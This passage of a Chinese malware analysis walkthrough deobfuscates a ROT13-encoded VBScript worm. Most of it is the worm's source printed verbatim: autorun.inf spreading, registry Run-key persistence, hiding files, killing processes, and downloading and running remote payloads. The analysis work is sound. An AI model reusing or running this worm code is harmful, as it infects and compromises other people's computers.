ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="phf=ee(|bfj|,1)<>4}{qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 3)=0 gura}{vs qph naq phf gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=1 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:xz 0:jfpevcg.dhvg}{ybbc":ext=":execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|erz |&gvy gura ps=gehr":execute(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft)
function er(sco)
if err.number<>0 or sco<0 then
err.clear
er=true
if sco<>0 and rr("ded",1)<>cstr(date) then
wr "oer",rr("oer",1)+abs(sco)
if rr("oer",1)>100 then wr "ded",date:wr "oer",0
end if
end if
end function

从代码中我们非常欣喜的又看到了execute执行函数UC。
 程序代码
execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|erz |&gvy gura ps=gehr"
跟进去没有任何反应,还有一个execute
 程序代码
execute(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft)
dyz不正是最开头的那个变量吗?后面有多个重复的ext&",aft&",不管那么多,马上跟进。
修改代码如下
 程序代码
on error resume next
dyz="ire=|9.1|:gvy=|UT|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs pp<>86 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&|[nhgbeha]|&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{raq vs}{qwf=ee(|qwf|,1):vs vfqngr(qwf) naq qngr-pqngr(qwf)>30 gura je |bfj|,4}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="phf=ee(|bfj|,1)<>4}{qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 3)=0 gura}{vs qph naq phf gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=1 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:xz 0:jfpevcg.dhvg}{ybbc":ext=":execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|erz |&gvy gura ps=gehr":Intercept(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft)
function er(sco)
if err.number<>0 or sco<0 then
err.clear
er=true
if sco<>0 and rr("ded",1)<>cstr(date) then
wr "oer",rr("oer",1)+abs(sco)
if rr("oer",1)>100 then wr "ded",date:wr "oer",0
end if
end if
end function

Sub Intercept (code)
WScript.Echo code
OutPutFile="decode_b.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
保存为vbs执行之,得到decode_b.txt
 程序代码
:execute(uc(dyz)):execute(uc(zcx)):function gt():execute(uc(gtz)):end function:function ei(name,wt):execute(uc(eiz)):end function:function df(wh):execute(uc(dfz)):end function:function bf(wh,wt,da):execute(uc(bfz)):end function:function bi(wh):execute(uc(biz)):end function:function rt(wh,li):execute(uc(rtz)):end function:function wr(rna,rda):execute(uc(wrz)):end function:function rr(rna,pa):execute(uc(rrz)):end function:function ar(file,cg):execute(uc(arz)):end function:function dn(loc,web,ris,min):execute(uc(dnz)):end function:function pr(pcs,gs):execute(uc(prz)):end function:function ec(wt):execute(uc(ecz)):end function:function co(wh):execute(uc(coz)):end function:function rs(sw):execute(uc(rsz)):end function:function hi(sw):execute(uc(hiz)):end function:function gi(ids,fid,eid,fname,furl):execute(uc(giz)):end function:function dw(pcs,fn,furl,kill):execute(uc(dwz)):end function:function us(sw):execute(uc(usz)):end function:function cu():execute(uc(cuz)):end function:function km(sw):execute(uc(kmz)):end function:function cf(wh):execute(uc(cfz)):end function
这是执行了多少个函数啊??
从这里我们可以看到,execute执行了很多次函数UC,要想继续跟进,我们需要函数UC的表达式和他们的变量值,所以我们回到decode_a.txt

5,现在我们回到decode_a.txt,这里有那些变量的赋值,而我们的第三步获得了函数UC的表达式,那么继续跟进decode_b.txt,看看病毒执行那些函数干什么,我们可以构造这样一个脚本。
 程序代码

'变量值在这段代码里面
on error resume next
dyz="ire=|9.1|:gvy=|UT|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs pp<>86 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&|[nhgbeha]|&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{raq vs}{qwf=ee(|qwf|,1):vs vfqngr(qwf) naq qngr-pqngr(qwf)>30 gura je |bfj|,4}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha 